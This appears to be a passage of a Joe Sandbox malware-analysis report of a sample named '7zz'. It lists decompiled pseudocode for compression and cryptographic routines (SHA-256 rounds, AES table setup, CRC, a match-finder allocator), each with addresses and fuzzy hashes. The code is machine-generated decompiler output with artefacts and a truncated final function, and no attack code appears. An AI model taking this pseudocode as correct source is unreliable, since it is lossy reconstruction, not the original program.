								asm("adc ebp, edx");
								asm("cdq");
								_t140 = (_t138 << 8) + (_t205[_t212 + 2] & 0x000000ff);
								asm("adc ebp, edx");
								asm("cdq");
								_t142 = (_t140 << 8) + (_t205[_t212 + 1] & 0x000000ff);
								asm("adc ebp, edx");
								_t218 = (((((_t182 << 0x00000020 | _t104) << 0x8 << 0x00000020 | _t136) << 0x8 << 0x00000020 | _t138) << 0x8 << 0x00000020 | _t140) << 0x8 << 0x00000020 | _t142) << 8;
								asm("cdq");
								asm("adc ebp, edx");
								_t184 = _t218;
								_v40 = _t102 & 0x00000007;
								_v16 = (_t142 << 8) + (_t205[_t212] & 0x000000ff);
								_v12 = _t218;
								_t112 = L0046B2E0((_t142 << 8) + (_t205[_t212] & 0x000000ff), _t102 & 0x00000007, _t184);
								_t145 = _t184;
								_v8 = _t112;
								if((_t145 >> 0x00000005 & 0x0000000f) == 5 && 0 == 0 && (_t112 & 0x00000e00) == 0) {
									_t191 = ((_t145 >> 0x00000004 & 0x00000001) << 0x00000014 | (_t145 << 0x00000020 | _t112) >> 0xd & 0x000fffff) << 4;
									if(_a8 == 0) {
										_t164 = _t191 - _v44 - _a4;
									} else {
										_t164 = _v24 + _t205 + _t191;
									}
									_t165 = _t164 >> 4;
									_t198 = ((0 << 0x00000020 | _t165 & 0x00100000) << 0x3 << 0x00000020 | (_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 | _t165 & 0x000fffff) << 0xd | _t145 & 0xffffffee;
									_t123 = E0046C5A0(((_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 + (_t165 & 0x00100000) + _t116 | _t165 & 0x000fffff) << 0x0000000d | _v8 & 0x00001fff, _v40, _t198);
									asm("cdq");
									_t222 = _t198 | _t198 & _v12;
									_t149 = _t123 | (0x00000001 << _v40) - 0x00000001 & _v16;
									_t205[_t212 + 1] = (_t222 << 0x00000020 | _t149) >> 8;
									_t205[_t212] = _t149;
									_t205[_t212 + 2] = (_t222 << 0x00000020 | _t149) >> 0x10;
									_t205[_t212 + 3] = (_t222 << 0x00000020 | _t149) >> 0x18;
									_t205[_t212 + 4] = _t222;
									_t205[_t212 + 5] = _t222 >> 8;
								}
							}
							_t208 = _v36 + 1;
							_t102 = _v32 + 0x29;
							_v36 = _t208;
							_v32 = _t102;
						} while (_t208 < 3);
						_t132 = _v44 + 0x10;
						_t205 =  &(_t205[0x10]);
						_v44 = _t132;
					} while (_t132 <= _v20);
					return _t132;
				} else {
					return 0;
				}
			}

0x00458b36
0x00458b4d
0x00458b51
0x00458b59
0x00458b5b
0x00458b60
0x00458b6d
0x00458b72
0x00458b74
0x00458b78
0x00458b7c
0x00458b80
0x00458b86
0x00458b8b
0x00458b95
0x00458b98
0x00458b9d
0x00458bae
0x00458bb2
0x00458bb9
0x00458bbf
0x00458bc3
0x00458bca
0x00458bd0
0x00458bd4
0x00458bdb
0x00458be1
0x00458be5
0x00458beb
0x00458bed
0x00458bf1
0x00458bf7
0x00458bfb
0x00458bfd
0x00458c01
0x00458c05
0x00458c09
0x00458c0e
0x00458c1a
0x00458c21
0x00458c5a
0x00458c62
0x00458c76
0x00458c64
0x00458c6a
0x00458c6a
0x00458c78
0x00458cb4
0x00458cb6
0x00458ccb
0x00458cd4
0x00458cd6
0x00458ce0
0x00458cf1
0x00458cfd
0x00458d09
0x00458d0d
0x00458d11
0x00458d11
0x00458c21
0x00458d1d
0x00458d1e
0x00458d21
0x00458d25
0x00458d29
0x00458d36
0x00458d39
0x00458d3c
0x00458d40
0x00458d51
0x00458b38
0x00458b3d
0x00458b3d

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b57f3487a312c1843c0612d4d0dfe37813ac96ab5f28ab3a19bd00fed39ce45
Instruction ID: fa9aeb9e0725e4ffef27b0fed8173ebd3e95ce29c77f6e3ebb7612827f398593
Opcode Fuzzy Hash: 5b57f3487a312c1843c0612d4d0dfe37813ac96ab5f28ab3a19bd00fed39ce45
Instruction Fuzzy Hash: 2C510AB2B087514BD308DE6DCC9073AB6D2EBD4304F48863EE496D3385EA78DA1987D5

Uniqueness

Uniqueness Score: -1.00%

Function 00467220 Relevance: .2, Instructions: 167
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00467220(intOrPtr* _a4, intOrPtr _a8) {
				char _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				intOrPtr* _v108;
				signed int _v112;
				signed int _v116;
				intOrPtr* _v120;
				intOrPtr* _t116;
				signed int _t119;
				intOrPtr* _t120;
				signed int _t144;
				intOrPtr* _t150;
				intOrPtr* _t162;
				intOrPtr _t183;
				intOrPtr* _t190;
				signed int _t191;
				void* _t217;

				_t217 =  &_v120;
				_t116 = _a4;
				_v96 =  *_t116;
				_v92 =  *((intOrPtr*)(_t116 + 4));
				_v88 =  *((intOrPtr*)(_t116 + 8));
				_v84 =  *((intOrPtr*)(_t116 + 0xc));
				_v80 =  *((intOrPtr*)(_t116 + 0x10));
				_v76 =  *((intOrPtr*)(_t116 + 0x14));
				_v72 =  *((intOrPtr*)(_t116 + 0x18));
				_t191 = 0;
				_v68 =  *((intOrPtr*)(_t116 + 0x1c));
				_v116 = 0;
				_v100 = _a8 -  &_v64;
				do {
					_t144 = 1;
					_t162 =  &_v64;
					_v112 = 1;
					_t25 = _t144 - 5; // -4
					_t119 = _t25;
					_v108 = _t162;
					_v120 = 0x47c6e0 + _t191 * 4;
					_v104 = 0x10;
					do {
						if(_t191 == 0) {
							_t183 =  *((intOrPtr*)(_v100 + _t162));
							 *_t162 = _t183;
						} else {
							_t32 = _t144 - 3; // -2
							_t36 = _t144 - 1; // 0x0
							asm("ror ebx, 0x12");
							asm("ror ebp, 0x7");
							asm("ror esi, 0x13");
							asm("ror ebp, 0x11");
							_t190 = _t217 + 0x48 + (_t36 & 0x0000000f) * 4;
							 *_t190 =  *_t190 + ( *(_t217 + 0x48 + (_t144 & 0x0000000f) * 4) ^  *(_t217 + 0x48 + (_t144 & 0x0000000f) * 4) ^  *(_t217 + 0x48 + (_t144 & 0x0000000f) * 4) >> 0x00000003) + ( *(_t217 + 0x48 + (_t32 & 0x0000000f) * 4) ^  *(_t217 + 0x48 + (_t32 & 0x0000000f) * 4) ^  *(_t217 + 0x48 + (_t32 & 0x0000000f) * 4) >> 0x0000000a) +  *((intOrPtr*)(_t217 + 0x48 + (_t144 + 0xfffffff8 & 0x0000000f) * 4));
							_t183 =  *_t190;
						}
						_t48 = _t119 + 2; // -2
						_t52 = _t119 + 3; // -1
						asm("ror ebx, 0x19");
						asm("ror ebp, 0xb");
						asm("ror ebp, 0x6");
						_t53 = _t119 + 1; // -3
						_t150 = _t217 + 0x28 + (_t52 & 0x00000007) * 4;
						 *_t150 =  *_t150 + ( *(_t217 + 0x28 + (_t119 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t119 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t119 & 0x00000007) * 4)) + (( *(_t217 + 0x28 + (_t53 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t48 & 0x00000007) * 4)) &  *(_t217 + 0x28 + (_t119 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t48 & 0x00000007) * 4)) +  *_v120 + _t183;
						_t61 = _t119 - 1; // -5
						 *((intOrPtr*)(_t217 + 0x28 + (_t61 & 0x00000007) * 4)) =  *((intOrPtr*)(_t217 + 0x28 + (_t61 & 0x00000007) * 4)) +  *_t150;
						_t71 = _t119 - 4; // -8
						_v120 = _v120 + 4;
						_t77 = _t119 - 3; // -7
						asm("ror edi, 0x16");
						asm("ror ebx, 0xd");
						asm("ror ebx, 0x2");
						_t81 = _t119 - 2; // -6
						_t191 = _v116;
						 *_t150 =  *_t150 + ( *(_t217 + 0x28 + (_t71 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t71 & 0x00000007) * 4) ^  *(_t217 + 0x28 + (_t71 & 0x00000007) * 4)) + ( *(_t217 + 0x28 + (_t81 & 0x00000007) * 4) & ( *(_t217 + 0x28 + (_t77 & 0x00000007) * 4) |  *(_t217 + 0x28 + (_t71 & 0x00000007) * 4)) |  *(_t217 + 0x28 + (_t77 & 0x00000007) * 4) &  *(_t217 + 0x28 + (_t71 & 0x00000007) * 4));
						_t144 = _v112 + 1;
						_t162 = _v108 + 4;
						_t119 = _t119 - 1;
						_t88 =  &_v104;
						 *_t88 = _v104 - 1;
						_v112 = _t144;
						_v108 = _t162;
					} while ( *_t88 != 0);
					_t191 = _t191 + 0x10;
					_v116 = _t191;
				} while (_t191 < 0x40);
				_t120 = _a4;
				 *_t120 =  *_t120 + _v96;
				 *((intOrPtr*)(_t120 + 4)) =  *((intOrPtr*)(_t120 + 4)) + _v92;
				 *((intOrPtr*)(_t120 + 8)) =  *((intOrPtr*)(_t120 + 8)) + _v88;
				 *((intOrPtr*)(_t120 + 0xc)) =  *((intOrPtr*)(_t120 + 0xc)) + _v84;
				 *((intOrPtr*)(_t120 + 0x10)) =  *((intOrPtr*)(_t120 + 0x10)) + _v80;
				 *((intOrPtr*)(_t120 + 0x14)) =  *((intOrPtr*)(_t120 + 0x14)) + _v76;
				 *((intOrPtr*)(_t120 + 0x18)) =  *((intOrPtr*)(_t120 + 0x18)) + _v72;
				 *((intOrPtr*)(_t120 + 0x1c)) =  *((intOrPtr*)(_t120 + 0x1c)) + _v68;
				return _t120;
			}

0x00467220
0x00467223
0x0046722c
0x00467233
0x0046723a
0x00467242
0x00467249
0x00467251
0x00467260
0x00467264
0x0046726d
0x00467271
0x00467275
0x00467280
0x00467280
0x00467285
0x00467290
0x00467294
0x00467294
0x00467297
0x0046729b
0x0046729f
0x004672a7
0x004672a9
0x00467300
0x00467303
0x004672ab
0x004672b8
0x004672c2
0x004672c8
0x004672cb
0x004672d7
0x004672dc
0x004672f2
0x004672f6
0x004672f8
0x004672f8
0x00467312
0x0046731c
0x00467322
0x00467325
0x0046732c
0x00467331
0x00467349
0x0046734f
0x00467353
0x00467359
0x00467361
0x0046736b
0x00467370
0x0046737c
0x00467381
0x00467388
0x0046738d
0x004673a5
0x004673ab
0x004673b1
0x004673b2
0x004673b5
0x004673b6
0x004673b6
0x004673ba
0x004673be
0x004673be
0x004673c8
0x004673cb
0x004673cf
0x004673d8
0x004673e3
0x004673e9
0x004673f0
0x004673f7
0x00467402
0x00467405
0x00467410
0x00467413
0x0046741d

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8c2fe7712ed8c324610458340f6dfe7cc075e40e23d43facc7c46b85be0f4af
Instruction ID: ecbefbb19e359fe605fb64fccd1c45d94721ec601b361607b774bfcf3dbab90b
Opcode Fuzzy Hash: f8c2fe7712ed8c324610458340f6dfe7cc075e40e23d43facc7c46b85be0f4af
Instruction Fuzzy Hash: 026148725087118FC318DF49D48494AF3E1FFC8328F1A8A6DEA885B361D771E959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00459F80 Relevance: .2, Instructions: 154
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E00459F80(void* __ecx, unsigned int __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				void* __ebx;
				void* __esi;
				unsigned int _t59;
				unsigned int _t77;
				void* _t78;
				signed int _t79;
				intOrPtr _t83;
				intOrPtr* _t92;
				void* _t107;
				intOrPtr _t120;
				intOrPtr _t121;
				unsigned int _t127;
				signed int _t128;
				intOrPtr _t129;
				void* _t130;
				intOrPtr _t132;
				intOrPtr _t133;

				_t127 = __edx;
				_t130 = __ecx;
				if(__edx <= 0xc0000000) {
					_t59 = __edx >> 1;
					if(__edx > 0x80000000) {
						_t59 = __edx >> 2;
					}
					_t132 = _a8;
					 *((intOrPtr*)(_t130 + 0x40)) = _t127 + _a4 + 1;
					 *((intOrPtr*)(_t130 + 0x44)) = _a12 + _t132;
					_t92 = _a16;
					if(E00459C90(_t92, _t130, (_a4 + _t132 + _a12 >> 1) + _t59 + 0x80000) == 0) {
						_t133 = 0;
						goto L30;
					} else {
						_t120 =  *((intOrPtr*)(_t130 + 0x48));
						 *((intOrPtr*)(_t130 + 0x1c)) = _t132;
						_t133 = 0;
						_a16 = _t127 + 1;
						 *((intOrPtr*)(_t130 + 0x60)) = 0;
						if(_t120 != 2) {
							_t77 = ((_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001) >> 0x00000002 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001) >> 0x00000002) >> 0x00000004 | 0x01fffe00) >> 0x00000008 | _t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001) >> 0x00000002 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001 | (_t127 - 0x00000001 | _t127 - 0x00000001 >> 0x00000001) >> 0x00000002) >> 0x00000004) >> 1;
							if(_t77 > 0x1000000) {
								if(_t120 != 3) {
									_t77 = _t77 >> 1;
								} else {
									_t77 = 0xffffff;
								}
							}
						} else {
							_t77 = 0xffff;
						}
						 *(_t130 + 0x28) = _t77;
						_t78 = _t77 + 1;
						if(_t120 > 2) {
							 *((intOrPtr*)(_t130 + 0x60)) = 0x400;
						}
						if(_t120 > 3) {
							 *((intOrPtr*)(_t130 + 0x60)) =  *((intOrPtr*)(_t130 + 0x60)) + 0x10000;
						}
						if(_t120 > 4) {
							 *((intOrPtr*)(_t130 + 0x60)) =  *((intOrPtr*)(_t130 + 0x60)) + 0x100000;
						}
						_t79 = _t78 +  *((intOrPtr*)(_t130 + 0x60));
						_t107 =  *(_t130 + 0x64) +  *((intOrPtr*)(_t130 + 0x68));
						_t121 = _a16;
						 *((intOrPtr*)(_t130 + 0x5c)) = _t127;
						 *(_t130 + 0x64) = _t79;
						 *((intOrPtr*)(_t130 + 0x18)) = _t121;
						if( *((intOrPtr*)(_t130 + 0x54)) != _t133) {
							_t121 = _t121 + _t121;
						}
						 *((intOrPtr*)(_t130 + 0x68)) = _t121;
						_t128 = _t79 + _t121;
						if( *((intOrPtr*)(_t130 + 0x20)) == _t133 || _t107 != _t128) {
							 *((intOrPtr*)( *((intOrPtr*)(_t92 + 4))))();
							 *((intOrPtr*)(_t130 + 0x20)) = _t133;
							if(_t128 * 4 >> 2 == _t128) {
								_t83 =  *((intOrPtr*)( *_t92))();
							} else {
								_t83 = 0;
							}
							 *((intOrPtr*)(_t130 + 0x20)) = _t83;
							if(_t83 == _t133) {
								L30:
								 *((intOrPtr*)( *((intOrPtr*)(_t92 + 4))))();
								 *((intOrPtr*)(_t130 + 0x20)) = _t133;
								if( *((intOrPtr*)(_t130 + 0x4c)) == _t133) {
									 *((intOrPtr*)( *((intOrPtr*)(_t92 + 4))))();
									 *((intOrPtr*)(_t130 + 0x30)) = _t133;
								}
								return 0;
							} else {
								 *((intOrPtr*)(_t130 + 0x24)) = _t83 +  *(_t130 + 0x64) * 4;
								goto L28;
							}
						} else {
							L28:
							return 1;
						}
					}
				} else {
					_t129 = _a16;
					 *((intOrPtr*)( *((intOrPtr*)(_t129 + 4))))();
					 *((intOrPtr*)(__ecx + 0x20)) = 0;
					if( *((intOrPtr*)(__ecx + 0x4c)) == 0) {
						 *((intOrPtr*)( *((intOrPtr*)(_t129 + 4))))();
						 *((intOrPtr*)(__ecx + 0x30)) = 0;
					}
					return 0;
				}
			}

0x00459f83
0x00459f85
0x00459f8d
0x00459fbe
0x00459fc6
0x00459fca
0x00459fca
0x00459fd6
0x00459fda
0x00459ff1
0x00459ff4
0x0045a000
0x0045a0f4
0x00000000
0x0045a006
0x0045a006
0x0045a009
0x0045a00c
0x0045a011
0x0045a015
0x0045a01b
0x0045a047
0x0045a04e
0x0045a053
0x0045a05c
0x0045a055
0x0045a055
0x0045a055
0x0045a053
0x0045a01d
0x0045a01d
0x0045a01d
0x0045a05e
0x0045a061
0x0045a065
0x0045a067
0x0045a067
0x0045a071
0x0045a073
0x0045a073
0x0045a07d
0x0045a07f
0x0045a07f
0x0045a089
0x0045a08c
0x0045a08f
0x0045a093
0x0045a096
0x0045a099
0x0045a09f
0x0045a0a1
0x0045a0a1
0x0045a0a3
0x0045a0a6
0x0045a0ae
0x0045a0b9
0x0045a0c7
0x0045a0cc
0x0045a0d6
0x0045a0ce
0x0045a0ce
0x0045a0ce
0x0045a0d8
0x0045a0dd
0x0045a0f6
0x0045a0fe
0x0045a100
0x0045a106
0x0045a110
0x0045a112
0x0045a112
0x0045a11b
0x0045a0df
0x0045a0e5
0x00000000
0x0045a0e5
0x0045a0e8
0x0045a0e8
0x0045a0f1
0x0045a0f1
0x0045a0ae
0x00459f8f
0x00459f8f
0x00459f9b
0x00459f9f
0x00459fa5
0x00459faf
0x00459fb1
0x00459fb1
0x00459fb9
0x00459fb9

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b86c033f61a550a540284f83686b7dc165fdcb51ba861993bc3e277ac7de85
Instruction ID: fd88af4a55426da6948f54a871f8da9c8cc7ad7d325161158fb5f24926afe266
Opcode Fuzzy Hash: e6b86c033f61a550a540284f83686b7dc165fdcb51ba861993bc3e277ac7de85
Instruction Fuzzy Hash: CE512B75610B098FC724CF29C48066BB3E2FB88305B148A2ED99787B86DB75E859CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00456830 Relevance: .1, Instructions: 141
COMMONCrypto

Download Yara Rule

C-Code - Quality: 88%

			E00456830() {
				char _t25;
				signed int _t30;
				signed int _t43;
				signed int _t44;
				void* _t51;
				signed int _t60;
				signed int _t63;
				signed int _t69;
				signed int _t71;
				signed int _t83;
				signed int _t98;
				signed int _t99;
				signed int _t123;
				signed int _t127;
				signed int _t130;
				signed int _t133;

				_t25 = 0;
				do {
					_t1 = _t25 + 0x48dc78; // 0x7b777c63
					 *((char*)(( *_t1 & 0x000000ff) + 0x493568)) = _t25;
					_t25 = _t25 + 1;
				} while (_t25 < 0x100);
				_t130 = 0;
				do {
					_t3 = _t130 + 0x48dc78; // 0x7b777c63
					_t63 =  *_t3 & 0x000000ff;
					asm("sbb eax, eax");
					_t30 = ( ~(_t63 & 0x80) & 0x0000001b ^ _t63 + _t63) & 0x000000ff;
					_t123 = _t30 ^ _t63;
					 *(0x491568 + _t130 * 4) = ((_t123 << 0x00000008 | _t63) << 0x00000008 | _t63) << 0x00000008 | _t30;
					_t7 = _t130 + 0x493568; // 0xd56a0952
					_t133 =  *_t7 & 0x000000ff;
					_t83 = _t63 << 8;
					 *(0x492168 + _t130 * 4) = ((_t30 << 0x00000008 | _t123) << 0x00000008 | _t63) << 0x00000008 | _t63;
					asm("sbb eax, eax");
					 *(0x491d68 + _t130 * 4) = ((_t83 | _t30) << 0x00000008 | _t123) << 0x00000008 | _t63;
					_t43 = ( ~(_t133 & 0x80) & 0x0000001b ^ _t133 + _t133) & 0x000000ff;
					asm("sbb ecx, ecx");
					_t69 = ( ~(_t43 & 0x80) & 0x0000001b ^ _t43 + _t43) & 0x000000ff;
					asm("sbb edx, edx");
					_t98 = ( ~(_t69 & 0x80) & 0x0000001b ^ _t69 + _t69) & 0x000000ff;
					 *(0x491968 + _t130 * 4) = ((_t83 | _t63) << 0x00000008 | _t30) << 0x00000008 | _t123;
					_t99 = _t98 ^ _t69;
					_t127 = _t98 ^ _t43 ^ _t133;
					_t44 = _t43 ^ _t99;
					_t60 = _t98 ^ _t133;
					_t71 = _t99 ^ _t133;
					 *(0x492568 + _t130 * 4) = ((_t127 << 0x00000008 | _t71) << 0x00000008 | _t60) << 0x00000008 | _t44;
					 *(0x492968 + _t130 * 4) = ((_t71 << 0x00000008 | _t60) << 0x00000008 | _t44) << 0x00000008 | _t127;
					 *(0x492d68 + _t130 * 4) = ((_t60 << 0x00000008 | _t44) << 0x00000008 | _t127) << 0x00000008 | _t71;
					 *(0x493168 + _t130 * 4) = ((_t44 << 0x00000008 | _t127) << 0x00000008 | _t71) << 0x00000008 | _t60;
					_t130 = _t130 + 1;
				} while (_t130 < 0x100);
				 *0x495a00 = E0046AE60;
				 *0x495a08 = E0046AEC0;
				 *0x495a04 = E0046AF50;
				_t51 = E00459790();
				if(_t51 != 0) {
					 *0x495a00 = 0x472940;
					 *0x495a08 = E004727F0;
					 *0x495a04 = 0x4729b0;
					return _t51;
				}
				return _t51;
			}

0x0046afe0
0x0046afe2
0x0046afe2
0x0046afe9
0x0046afef
0x0046aff0
0x0046affb
0x0046b000
0x0046b000
0x0046b000
0x0046b011
0x0046b01b
0x0046b022
0x0046b035
0x0046b03c
0x0046b03c
0x0046b045
0x0046b06c
0x0046b081
0x0046b083
0x0046b093
0x0046b0a2
0x0046b0ac
0x0046b0bc
0x0046b0c6
0x0046b0ce
0x0046b0d7
0x0046b0db
0x0046b0df
0x0046b0e3
0x0046b0e5
0x0046b0f6
0x0046b10e
0x0046b135
0x0046b13c
0x0046b143
0x0046b144
0x0046b150
0x0046b15a
0x0046b164
0x0046b16e
0x0046b179
0x0046b17b
0x0046b185
0x0046b18f
0x00000000
0x0046b18f
0x0046b199

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d037a9f2a6bac70cdbc0ea4a6beeae294910fb94d9119d9e185bc861c6541ff
Instruction ID: 64b7cb02cb4575982e1680b9360a4aaf235b5430a9cb7fa29c26ced03b2a631a
Opcode Fuzzy Hash: 4d037a9f2a6bac70cdbc0ea4a6beeae294910fb94d9119d9e185bc861c6541ff
Instruction Fuzzy Hash: BA41D471B20A201AB30CCF3A8CC41662BC3D7CA39A745C73EC595C66D9DABDC517C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 004217DA Relevance: .1, Instructions: 119
COMMONCrypto

Download Yara Rule

C-Code - Quality: 37%

			E004217DA() {
				signed int _t63;
				signed int _t64;
				signed int _t114;

				_t114 = 0;
				do {
					asm("adc ecx, 0xffffffff");
					asm("adc esi, 0xffffffff");
					asm("adc ecx, 0xffffffff");
					asm("adc esi, 0xffffffff");
					asm("adc ecx, 0xffffffff");
					asm("adc esi, 0xffffffff");
					asm("adc ecx, 0xffffffff");
					_t63 =  !((( !((( !((( !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((( !((( !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ ( !0x00000000 << 0x00000020 |  !((_t114 & 0x00000001) + 0xffffffff) & 0xd7870f42 ^ (0 << 0x00000020 | _t114) >> 0x1) >> 0x1) & 0x00000001) + 0xffffffff) & 